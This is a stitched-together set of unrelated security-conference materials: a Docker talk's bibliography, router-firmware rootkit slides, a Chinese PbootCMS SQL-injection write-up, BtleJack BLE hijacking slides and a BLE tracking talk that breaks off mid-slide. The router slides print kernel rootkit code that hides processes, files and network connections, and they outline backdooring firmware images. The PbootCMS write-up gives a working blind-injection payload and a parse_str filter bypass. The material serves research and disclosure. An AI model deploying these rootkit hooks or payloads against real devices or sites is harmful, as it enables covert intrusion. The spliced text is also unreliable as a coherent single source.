https://www.blackhat.com/docs/eu-15/materials/eu-15-Bettini-Vulnerability-Exploitation-In-Docker- Container-Environments.pdf 6. Michael Cherney and Sagie Duce, Well, That Escalated Quickly! How Abusing Docker API Led to Remote Code Execution, Same Origin Bypass and Persistence in The Hypervisor via Shadow Containers, Black Hat USA 2017, https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How- Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_ wp.pdf 7. HD Moore and Valsmith, Tactical Exploitation, DEF CON 15, https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/White paper/dc- 15-moore_and_valsmith-WP.pdf 8. Erik Buchanan, Ryan Roemer, and Stefan Savage, Return-Oriented Programming: Exploits Without Code Injection, Black Hat USA 2008, http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html 9. Sergey Bratus, What Are Weird Machines?, http://www.cs.dartmouth.edu/~sergey/wm/ 10. Wesley McGrew, Secure Penetration Testing Operations: Demonstrated Weaknesses in Learning Materials and Tools, DEF CON 24 and Black Hat USA 2016, https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEFCON- 24-Wesley-McGrew-Secure-Penetration-Testing-Operations-WP.pdf BIBLIOGRAPHY Wesley McGrew HORNECyber.com 36 An Attacker Looks at Docker: Approaching Multi-Container Applications 11. The Docker Platform, https://www.docker.com/ 12. Chris Richardson, Pattern: Microservice Architecture, https://docs.docker.com/engine/examples/running_ssh_service/ 13. Dockerize an SSH Service, https://docs.docker.com/engine/examples/running_ssh_service/ 14. A vulnerable Joomla image “in the wild”, https://hub.docker.com/r/kuthz/joomla/ 15. Example Voting App, https://github.com/dockersamples/example-voting-app 16. Docker Security, Docker Documentation, https://docs.docker.com/engine/security/security BIBLIOGRAPHY
pdf
Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Owning the Network: Adventures in Router Rootkits Michael Coppola Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Who am I? ▪Security Consultant at Virtual Security Research in Boston, MA (we're hiring!) ▪Student at Northeastern University ▪Did some stuff, won some CTFs ▪http://poppopret.org/ Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. How did this all start? ▪.npk packages on MikroTik routers ▪Install new features ▫ SOCKS proxy ▫ VPN ▫ IPv6 support ▫ XEN/KVM virtualization ▪Potentially get a shell? Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Router Firmware Upgrade Feature Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. The Big Question Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Can a universal process be developed to modify SOHO router firmware images to deploy malicious code without altering the interface or functionality of the device? Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Can a universal process be developed to modify SOHO router firmware images to deploy malicious code without altering the interface or functionality of the device? ...a rootkit of sorts? Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Intentions ▪Share my personal experience pursuing the topic and the challenges encountered ▪Gain better insight into router internals ▪Release some code ▪Pop some shells ▪Pwn some devices Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Prior Work ▪OpenWRT/DD-WRT ▫ Custom firmware, reverse engineering, hardware / firmware profiling ▪firmware-mod-kit ▫ De/reconstruction of firmware images ▪devttys0.com ▫ Firmware modding, reverse engineering, and exploitation Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Use Cases ▪Default/weak credentials on admin panel ▪RCE/auth bypass vulnerability ▪CSRF file upload Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. The Targets WNR1000v3 Vendor: NETGEAR Version: 1.0.2.26NA Format: NETGEAR .chk Arch: MIPS OS: Linux 2.4.20 Bootloader: CFE Filesystem: SquashFS 3.0 Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. The Targets WGR614v9 Vendor: NETGEAR Version: 1.2.30NA Format: NETGEAR .chk Arch: MIPS OS: Linux 2.4.20 Bootloader: CFE Filesystem: SquashFS 2.1 Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. The Targets FD57230-4 v1110 Vendor: Belkin Version: 4.03.03 Format: EFH Arch: MIPS OS: Linux 2.4.20 Bootloader: CFE Filesystem: CramFS v2 Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. The Targets TEW-652BRP v3.2R Vendor: TRENDnet Version: 3.00B13 Format: Realtek Arch: MIPS OS: Linux 2.6.19 Bootloader: U-Boot Filesystem: SquashFS 4.0 Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Generalized Technique ▪Profile the image ▪Extract parts from the image ▪Deploy payload ▪Repack the image ▪Update metadata Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Connecting to the Console ▪Most routers offer an RS-232 (serial) port ▪Find terminals → Solder connectors → Shell! ▪Useful for profiling the device, testing new payloads, debugging purposes ▪Bootloader access provides recovery, quick testing of new firmware images Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Connecting to the Console ▪Four pins to search for: ▫ GND – Ground ▫ VCC – Voltage Common Collector (+3.3V) ▫ TXD (TX) – Transmit Data ▫ RXD (RX) – Receive Data Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Console on WGR614v9 Serial port Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Console on WGR614v9 RX TX GND VCC Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. WGR614v9 Serial Pinout GND TX RX VCC RX TX GND VCC 1 6 Router Shifter Board Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Connecting to the Console ▪Computer RS-232 port operates at 12V ▪Router RS-232 port operates at 3.3V ▪Need to introduce a voltage shifter in the circuit to prevent damage Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Sparkfun <333 Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Building the RS-232 Shifter Board Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Building the RS-232 Shifter Board Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Putting it in Action RX TX GND VCC RX TX Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Putting it in Action Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Putting it in Action Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Profiling the Image Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Profiling the Image ▪What exactly makes up this giant blob of binary? ▫ Bootloader? ▫ Kernel? ▫ Filesystem? ▪Early attempts were crude and limited in helpfulness Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Profiling the Image Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. find-headers.pl Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. find-headers.pl Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. binwalk ▪Identifies headers, files, and code in files ▪Uses libmagic + custom signature database ▪devttys0.com Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. binwalk vs. find-headers.pl Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Extracting from the Image Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Items to Extract (WNR1000v3) ▪Headers ▪LZMA blob ▪SquashFS filesystem Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Extracting the Headers ▪Offset: 0 bytes ▪Size: 86 bytes Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Extracting the LZMA Blob ▪Offset: 86 ▪Size: 592580 bytes Here is our Linux Kernel Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Extracting the SquashFS Filesystem ▪Offset: 592666 ▪Size: 1988809 bytes Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Need unsquashfs? firmware-mod-kit's got 'em Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. ...but not the right one. Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. ...neither does the source code. But it's supposed to! Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Getting unsquashfs Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Getting unsquashfs Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Getting unsquashfs Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Getting unsquashfs Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Getting unsquashfs Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Getting unsquashfs Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Getting unsquashfs Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. ...and success! Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Deploying the Payload Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Payload Vectors ▪So we have a minimalistic Linux system... ▪Userland is dirtier, quicker, more portable ▪Kernel-land is stealthier, more development considerations, less portable Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Infection via Userland ▪Simple C backdoor code, drop on filesystem ▪Single binary is executable across nearly all target systems ▪File is visible, process is visible... who cares? ▪Connections are visible... more of an issue. Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Dropping the Binary Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Infection via Kernel-Land ▪Three possible methods ▫ Infection via LKM ▫ Infection via /dev/kmem ▫ Static kernel patching ▪Bug in code would DoS the entire network ▪Must be compiled against target kernel tree ▪Files, processes, connections are hidden Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Infection via LKM ▪Linux Kernel Module ▪Basic rootkit techniques from old Phrack articles are still relevant ▫ plaguez - Weakening the Linux Kernel (Issue #52) ▫ palmers – Advances in Kernel hacking (Issue #58) ▫ sd, devik - Linux on-the-fly kernel patching without LKM (Issue #58) ▫ tress - Infecting loadable kernel modules (Issue #61) ▪As well as older rootkit code (like Adore) Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Infection via LKM ▪Init and exit functions ▪Hide processes -> Hook /proc readdir() ▪Hide files / directories -> Hook dir readdir() ▪Hide connections -> Hook /proc/net/tcp, udp Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. LKM Structure for 2.4 #include <linux/module.h> #include <linux/kernel.h> int init_module ( void ) { // Executed upon LKM load // We'll call out to hook various functions here return 0; } void cleanup_module ( void ) { // Executed upon LKM unload // We'll uninstall any hooks and restore original function pointers here } MODULE_LICENSE("GPL"); Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. LKM Structure for 2.6 #include <linux/module.h> #include <linux/kernel.h> static int __init i_solemnly_swear_that_i_am_up_to_no_good ( void ) { // Executed upon LKM load // We'll call out to hook various functions here return 0; } static void __exit mischief_managed ( void ) { // Executed upon LKM unload // We'll uninstall any hooks and restore original function pointers here } module_init(i_solemnly_swear_that_i_am_up_to_no_good); module_exit(mischief_managed); MODULE_LICENSE("GPL"); Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Linux 2.4/2.6 Hiding Processes (and Files) readdir_t o_proc_readdir; filldir_t o_proc_filldir; int n_proc_filldir ( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) { char *endp; if ( is_hidden_pid(simple_strtol(name, &endp, 10)) ) return 0; return o_proc_filldir(__buf, name, namelen, offset, ino, d_type); } int n_proc_readdir ( struct file *file, void *dirent, filldir_t filldir ) { o_proc_filldir = filldir; return o_proc_readdir(file, dirent, &n_proc_filldir); } void hook_proc () { struct file *filep; filep = filp_open("/proc", O_RDONLY, 0); o_proc_readdir = filep->f_op->readdir; filep->f_op->readdir = &n_proc_readdir; filp_close(filep, 0); } Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Linux 2.4 Hiding Connections Dirty hairball of code, full code in adore-ng: int n_get_info_tcp ( char *page, char **start, off_t pos, int count ) { int r = 0, i = 0, n = 0; char port[10], *ptr, *it; [...] r = o_get_info_tcp(page, start, pos, count); [...] for ( ; ptr < page + r; ptr += NET_CHUNK ) { if ( ! is_hidden_port(ptr) ) { sprintf(port, "%4d", n); strncpy(ptr, port, strlen(port)); memcpy(it, ptr, NET_CHUNK); it += NET_CHUNK; ++n; } } [...] return r; } void hook_tcp () { struct proc_dir_entry *pde; pde = proc_net->subdir; while ( strcmp(pde->name, "tcp") ) pde = pde->next; o_get_info_tcp = pde->get_info; pde->get_info = &n_get_info_tcp; } Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Linux 2.6 Hiding Connections static int (*o_tcp4_seq_show)(struct seq_file *seq, void *v); #define TMPSZ 150 static int n_tcp4_seq_show ( struct seq_file *seq, void *v ) { int ret; char port[12]; ret = o_tcp4_seq_show(seq, v); sprintf(port, ":%04X", to_hide_port); if ( srnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) { seq->count -= TMPSZ; break; } return ret; } void hook_tcp () { struct file *filep; struct tcp_seq_afinfo *afinfo; filep = filp_open("/proc/net/tcp", O_RDONLY, 0); afinfo = PDE(filep->f_dentry->d_inode)->data; o_tcp4_seq_show = afinfo->seq_ops.show; afinfo->seq_ops.show = &n_tcp4_seq_show; filp_close(filep, 0); } Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Repacking the Image Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Repacking the Image ▪Rebuild the unpacked filesystem ▪Append extracted / generated parts together again ▪Pad sections to defined length, if necessary ▪Don't worry about metadata yet, we'll take care of that next Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Building the Filesystem ▪Build the filesystem with the appropriate utility and version Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Padding the Image Placeholder for header Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Updating the Image Metadata Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. NETGEAR .chk Header 0 1 2 3 4 5 6 7 Magic Number ('*#$^') Header Length Reserved Kernel Checksum Rootfs Checksum Kernel Length Rootfs Length Image Checksum Header Checksum Board ID (< 64 bytes) Board ID (cont.) Board ID (cont.) Board ID (cont.) Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. NETGEAR .chk Header Variable Value Magic Value *#$^ Header Length 0x31 = 58 bytes Reserved 02 01 00 02 1a 33 00 3b Kernel Checksum 0a b0 f2 51 Rootfs Checksum 00 00 00 00 Kernel Length 0x277000 = 2,584,576 bytes Rootfs Length 0 Image Checksum 0a b0 f2 51 Header Checksum 0f 67 0a dd Board ID U12H139T00_NETGEAR Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Generating a .chk Header Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. rpef: The Router Post- Exploitation Framework Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. rpef ▪Abstracts and expedites the process of backdooring router firmware images ▪http://redmine.poppopret.org/projects/rpef Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Future Work ▪More supported routers / modules ▪More / better payloads (VPN/SOCKS, modify traffic, port knocking?) ▪Arbitrary size payloads? ▪Multiple payloads? Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Future Work ▪Static kernel patching? ▪Reverse engineering work required to get past some roadblocks ▪Port all binary utilities to Python for OS agnosticism ▪Integration with other frameworks? Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Thank You ▪Dan Rosenberg (vulnfactory.org) ▪Ian Latter (midnightcode.org) ▪OpenWRT community (openwrt.org) Copyright © 2012 Virtual Security Research, LLC. All Rights Reserved. Questions?
pdf
PbootCMS<=3.1.2前台注⼊分析 写在前⾯ 这次学校联合oppo办了场校赛⾥⾯我出了⼀些RealWorld⽅向的赛题,由于这个不是最新版 本再加上思路还是很骚,中间是有⼀些⼩坑的,导致前台注⼊⽆法获取表名,接下来我会抽 丝剥茧⼀点⼀点分析,相信师傅们⼀定能学到东西滴,其他的题⽬则不那么适合分享(坏笑) 这⾥以mysql数据库为例⼦,sqlite同理只是payload稍作改变 正⽂ 出题的初衷是希望学弟们能学会通过学会diff去快速获得漏洞并利⽤,可惜最终只有两个队 伍做出来了,其中⼀个⾮预期是开发没有修复⼀个远古的注⼊导致新版本也能⽤,这⾥主要 分享我的预期以及⼀些踩坑和bypass,⾸先可以看到这⾥的修复(通过描述可以猜测可能是前 台的) 通过beyondCompare简单对⽐发现这⾥尤其有点可疑,再加上在次⽂件默认路 由 apps/home/controller/IndexController.php 下的 empty 函数会控制路由转发,就 可以确定确实是这⾥的问题,通过分析发现此漏洞触发点在第120⾏的 $this->model- >getSort($path) ,由于path变量可控,最终在 apps/home/model/ParserModel.php 下 getSort 函数处可造成注⼊ 既然确定了那就继续深⼊看看,⾸先不是pathinfo穿参模式则进⼊下⾯的分,,当然默认情况下 不是采⽤pathinfo模式,会获取 QUERY_STRING 也就是get传参 ? 后⾯部分的内容保存到 qs 变量 当中,接下来通过 parse_str 做变量的赋值保存到 output 当中(这是坑后⾯会说到如何破 局),之后会把参数的key保存给path变量 接下来⽤ / 做分隔符,之后switch case取第⼀个元素作为分发的条件 我们需要进⼊default分⽀,才能到漏洞点,这⾥我们随便⽤⼀个字符串 test, http://127.0.0.1/?test 成功到漏洞点getSort,简简单单⽆过滤拼接查询 为了⽅便这⾥⽤布尔盲注了,回显的又臭又长 踩坑 可是当我们⼼⾼彩烈的去构造注⼊的时候 ?test/3' or if(0,0,1))%23 ,可以看到这⾥空 格都被替换成 _ 了,在这⾥你可能会告诉我,为什么你不⽤ %0a/%09 又或者 /**/ 去绕过 呢,这不是明摆着呢,但是你说 information_schema.xxx 怎么办,parse_str仍然会将 . 替 换为 _ 在解决问题之前我⾸先给出payload ?test/3'/*[*/or if(1,0,1))%23 ,毕竟这篇⽂章还 得继续 我们可以通过控制if的判断 1 or 0 ,如果是0代表没有结果页⾯也会报错,根据这个特征我们 就可以写简简单单的布尔盲注的脚本了 看php内核代码破局 还记得那个parse_str函数么,虽然可以⽤⼀句话概括,也就是⽹上常说的⽤ parse_str 只有 第⼀个 [ 会被替换为 _ ,那么为什么⽆论加多少个空格都会被替换为 _ ,当然也不扯远了只 是想谈谈为什么 那么我就来教教⼤家如何绕过,这⾥我也不想通篇写整个步骤,这个函数咋解析的然后又传 到哪⾥去,感兴趣的师傅可以⾃⾏编译 直接放结果,在 main\php_variables.c ,下⾯这个函数已经明显的告诉了我们结果,就不 必多说了 如果有空格或者 . 就会被for循环⽆限替换为 _ 那么重点来了,有什么办法打破这个循环,答案就是使⽤⼀个 [ ,那么这⾥再留两个问题, 为什么出现 [ 也给替换掉了,在php设计的时候为什么会认为出现 [ 就终⽌了呢?我们知道在 输⼊的时候什么情况下会出现,也就是数组,继续回到话题 在这⾥,php会认为你解析到了数组,给p为当前指针指向的变量名地址,并把当前指针指向 赋值为0,接下来来揭晓答案 这⾥因为没有 ] 进⾏匹配,这⾥可能php认为是误输⼊,所以把指针指向前⼀位赋值为 _ ,这 也就解释清楚了 同时你也应该知道了为什么 [[只将第⼀个[解析为_,第⼆个不解析了吗,以及[.、[空格等多种 操作 结果 简单通过⼆分法即可获得flag
pdf
YOU'D BETTER SECURE YOUR YOU'D BETTER SECURE YOUR BLE DEVICES OR WE'LL KICK BLE DEVICES OR WE'LL KICK YOUR BUTTS ! YOUR BUTTS ! @virtualabs | DEF CON 26, Aug. 12th 2018 WHO AM I ? WHO AM I ?   Head of R&D @ Econocom Digital Security   Studying Bluetooth Low Energy for 3 years   Developer & maintainer of BtleJuice   Having fun with Nordic's nRF51822 😉 AGENDA AGENDA BLE sniffing 101 Improving the BLE arsenal Sniffing BLE connections in 2018 Introducing BtleJack, a flexible sniffing tool BtleJacking: a brand new attack How it works Vulnerable devices & demos Recommendations BLE SNIFFING 101 BLE SNIFFING 101 MUCH CHEAP TOOLS, MUCH CHEAP TOOLS, (NOT) WOW RESULTS (NOT) WOW RESULTS Sniffing existing/new connections with an Ubertooth One Sniffing new connections with an Adafruit's Bluefruit LE Sniffer Sniffing BLE packets with gnuradio Sniffs existing and new connections Does not support channel map updates Costs $120 UBERTOOTH ONE UBERTOOTH ONE Up-to-date soware (Nov. 2017) Proprietary firmware from Nordic Semiconductor Sniffs only new connections Costs $30 - $40 BLUEFRUIT LE SNIFFER BLUEFRUIT LE SNIFFER Sniffs only BLE advertisements Unable to follow any existing/new connection Latency Requires 2.4GHz compatible SDR device SOFTWARE DEFINED RADIO SOFTWARE DEFINED RADIO BLE SNIFFING 101 BLE SNIFFING 101 BLE is designed to make sniffing difficult: 3 separate advertising channels Uses Frequency Hopping Spread Spectrum (FHSS) Master or slave can renegotiate some parameters at any time Sniffing BLE connections is either hard or expensive MAN IN THE MIDDLE MAN IN THE MIDDLE HOW BLE MITM WORKS HOW BLE MITM WORKS Discover the target device (advertisement data, services & characteristics) Connect to this target device, it is not advertising anymore (connected state) Advertise the same device, await connections and forward data BTLEJUICE BTLEJUICE https://github.com/DigitalSecurity/btlejuice GATTACKER GATTACKER https://github.com/securing/gattacker Pros: Get rid of the 3 advertising channels issue You see every BLE operation performed You may tamper on-the-fly the data sent or received Cons: Complex to setup: 1 VM & 1 Host computer Only capture HCI events, not BLE Link Layer Does not support all types of pairing Only compatible with 4.0 adapters WE ARE DOING IT WRONG ! WE ARE DOING IT WRONG ! Ubertooth-btle is outdated and does not work with recent BLE stacks Nordic Semiconductor' sniffer is closed source and does not allow active connection sniffing and may be discontinued The MitM approach seems great but too difficult to use and does not intercept link-layer packets IMPROVING IMPROVING THE BLE ARSENAL THE BLE ARSENAL THE IDEAL TOOL THE IDEAL TOOL Able to sniff existing and new connections Uses cheap hardware Open-source SNIFFING ACTIVE CONNECTIONS SNIFFING ACTIVE CONNECTIONS MIKE RYAN'S TECHNIQUE MIKE RYAN'S TECHNIQUE 1. Identify Access Address (32 bits) 2. Recover the CRCInit value used to compute CRC 3. hopInterval = time between two packets / 37 4. hopIncrement = LUT[time between channel 0 & 1] MIKE'S ASSUMPTION (2013) MIKE'S ASSUMPTION (2013) All 37 data channels are used DATA CHANNELS IN 2018 DATA CHANNELS IN 2018 Not all channels are used to improve reliability Some channels are remapped to keep a 37 channels hopping sequence 0, 4, 8, 12, 16, 20, 24, 0, 4, 8, 3, 7, 11, 15, 19, 23, 27, 3, 7, 2, 6, 10, 14, 18, 22, 26, 2, 6, 1, 5, 9, 13, 17, 21, 25, 1, 5 Mike's technique does not work anymore ! HOW TO DEDUCE CHANNEL MAP AND HOW TO DEDUCE CHANNEL MAP AND HOP INTERVAL HOP INTERVAL Channel map Listen for packets on every possible channels May take until 4 x 37 seconds to determine ! Hop interval Find a unique channel Measure time between 2 packets and divide by 37 DEDUCE HOP INCREMENT DEDUCE HOP INCREMENT Pick 2 unique channels Generate a lookup table Measure time between two packets on these channels Determine increment value More details in PoC||GTFO 0x17 SNIFFING NEW CONNECTIONS SNIFFING NEW CONNECTIONS CONNECT_REQ PDU CONNECT_REQ PDU Every needed information are in this packet Sniffer must listen on the correct channel "INSTANT" MATTERS "INSTANT" MATTERS Defines when a parameter update is effective Used for: Channel map updates Hop interval updates WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL MULTIPLE SNIFFERS FOR THE ULTIMATE MULTIPLE SNIFFERS FOR THE ULTIMATE SNIFFING TOOL SNIFFING TOOL A BRAND NEW TOOL ... A BRAND NEW TOOL ... ... BASED ON A MICRO:BIT ... BASED ON A MICRO:BIT $15 $15 BTLEJUICE BTLEJUICE BTLE BTLEJUICE JUICEJACK JACK NO LIVE DEMO, I KNOW YOU. NO LIVE DEMO, I KNOW YOU. SNIFFING A NEW CONNECTION SNIFFING A NEW CONNECTION SNIFFING AN EXISTING CONNECTION SNIFFING AN EXISTING CONNECTION PCAP EXPORT PCAP EXPORT Supports Nordic and legacy BTLE formats BTLEJACKING BTLEJACKING A NEW ATTACK ON BLE A NEW ATTACK ON BLE SUPERVISION TIMEOUT SUPERVISION TIMEOUT Defined in CONNECT_REQ PDU Defines the time aer which a connection is considered lost if no valid packets Enforced by both Central and Peripheral devices SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING JAMMING FTW JAMMING FTW BTLEJACKING BTLEJACKING Abuse BLE supervision timeout to take over a connection BLE versions 4.0, 4.1, 4.2 and 5 are vulnerable Requires proximity (about 5 meters away from target) EXAMPLE OF VULNERABLE DEVICES EXAMPLE OF VULNERABLE DEVICES SEXTOYS TOO ! SEXTOYS TOO ! https://fr.lovense.com/sex-toy-blog/lovense-hack IMPACT IMPACT Unauthorized access to a device, even if it is already connected Bypass authentication, if authentication is performed at the start of connection Keep the device internal state intact: this may leak valuable information COUNTER-MEASURES COUNTER-MEASURES Use BLE Secure Connections (see specifications) At least authenticate data at application layer BTLEJACK BTLEJACK https://github.com/virtualabs/btlejack FEATURES FEATURES Already established BLE connection sniffing New BLE connection sniffing Selective BLE jamming BLE connection take-over (btlejacking) PCAP export to view dumps in Wireshark Multiple sniffers support CONCLUSION CONCLUSION Btlejack is an all-in-one solution for BLE sniffing, jamming and hijacking BLE hijacking works on all versions Insecured BLE connections are prone to sniffing and hijacking It might get worse with further versions of BLE (greater range) Secure your BLE connections FFS (really, do it) CONTACT CONTACT THANKS ! QUESTIONS ? THANKS ! QUESTIONS ?  @virtualabs  [email protected] WHY DIDN'T YOU IMPROVE WHY DIDN'T YOU IMPROVE UBERTOOTH-BTLE UBERTOOTH-BTLE CODE ? CODE ? I am a lot more familiar with nRF51 SoCs than LPC microcontrollers Buying 3 Ubertooth devices ($360) is not cheap HOW DID YOU MAKE YOUR CLUSTER ? HOW DID YOU MAKE YOUR CLUSTER ? From a modified ClusterHat v2 ($30) https://shop.pimoroni.com/products/cluster-hat
pdf
I Fight For The Users Episode I Attacks Against Top Consumer Products Who are we? @zfasel @SecBarbie Our Credentials? (null) Before we get started… Con Speaker Rule 101 If you’re naming vendors and don’t want your talk pulled, even if it’s already known and even if the impact is low, don’t disclose too much ahead of time. TL;dr • Bluetooth -> All the things! • Wireless Security Products -> CCTV LOLZ • Consumer Windows Install -> Whoops • Q&A after talk 3 Topics in One Talk? • Keep it close to 20 minutes • So 15+15+15 = 45! MATH! • Also squirel. Bluetooth all the things! Another Bluetooth Talk? • BlueHydra* - Zero_Chaos & Granolocks • BLE Locks From Miles Away – Rose & Ramsey • BLE GATT Proxy Tool – Jasek • BLE-REPLAY & BLESUITE - Foringer & Trabun So what’s different here? “Rules” • Never reveal the secret • Never repeat a trick for the same audience • Practice. Over and Over. “Rules” • Never reveal the secret • Never repeat a trick for the same audience • Practice. Over and Over. How do you wirelessly ID someone? • Car on the way in? • ALPR • ETC RFID • Bluetooth • Came in by foot? • Facial Recognition • Voice Recognition • Cell Phone? • WiFi • Bluetooth • IMSI Catcher • Proximity • Credit Card RFID • Car Keys RFID • Work badges • The not fancy ways • Reservation Names • RFID Loyalty cards • Credit cards • Social engineering How do you wirelessly ID someone? • Car on the way in? • ALPR • ETC RFID • Bluetooth • Came in by foot? • Facial Recognition • Voice Recognition • Cell Phone? • WiFi • Bluetooth • IMSI Catcher • Proximity • Credit Card RFID • Car Keys RFID • Work badges • The not fancy ways • Reservation Names • RFID Loyalty card • Credit cards • Social engineering Say it isn't so! Wifi caught on to this • iOS8 and Android 6.0 • Historical SSIDs identify real mac • Take it as a data point, but not trust it That leaves us with • Came in by foot? • Cell Phone? • Bluetooth • Proximity • Car Keys RFID • The not fancy ways • RFID Loyalty card That leaves us with • Came in by foot? • Cell Phone? • Bluetooth • Proximity • Car Keys RFID • The not fancy ways • RFID Loyalty card I’m Blue (dabadeedabad1e) • Bluetooth Classic • 79+1 1Mhz Channels, 1600 hops/second • NAP + UAP and LAP make up hop sequence • LAP is included in every message • We know this. Duh. But many personal devices are now Bluetooth Smart (except for headsets/headphones). • BLE (Bluetooth Smart) • 37+3 2Mhz Channels, Interval/Increment/Channels is dictated by master upon connection. • 4 byte access address • 6 byte mac address in advertising announcements Bluetooth Has Security Too? Access Address? • Address used once connected. • Change upon disconnect/reconnect • Long term tracking is not reliable • Provides as good of short term tracking as random broadcast mac addresses, but applies to connected devices. GAP and GATT • Generic Access Profile • Generic Attribute Profile • Long story short, methods for sharing info about the connection or devices. In Preparation For Takeoff • Why are all these new devices advertising? • Wait a second… • if (paired == FALSE) ble.mode(“advertise”) Can we disconnect BLE? • Hell yes we can (momentarily and proximity dependent) • USRP b210 = 56mhz bandwidth • BLE = 80mhz, minus 6mhz broadcast • 50-75% coverage • So jam 2428 to 2478 Mhz… • GNURadio + Rand Noise = some success • Depending on the host, odd reliability Option 2 – Spoof Disconnect • Blast LL_TERMINATE_IND Control Packet • Have to sniff the Access Address first and catch it on the right channel / right time • Some devices don’t take kindly to this and won’t reconnect well We’ve talked about tracking before, right? • Sort Of? • Focused on “it’s possible”, but not researching specific device behaviors. Leaves us With Implementation Issues Hello Amazon/Best Buy Pavlok • Static Mac • Mac in Name (Pavlok-XXXX) • Serial is its mac, also available via GATT in case you didn’t have it already in ascii->hex Trackr • Effectively Static Mac Address • Manufacturer Data In broadcast = MAC • Broadcasts Constantly Tile • Effectively Static Mac Address • “Tile Identifier” in GATT • Stays connected…only while app is open. Fitbit One • Randomized Mac, but effectively static after >4 months • Doesn’t remain connected, so it broadcasts 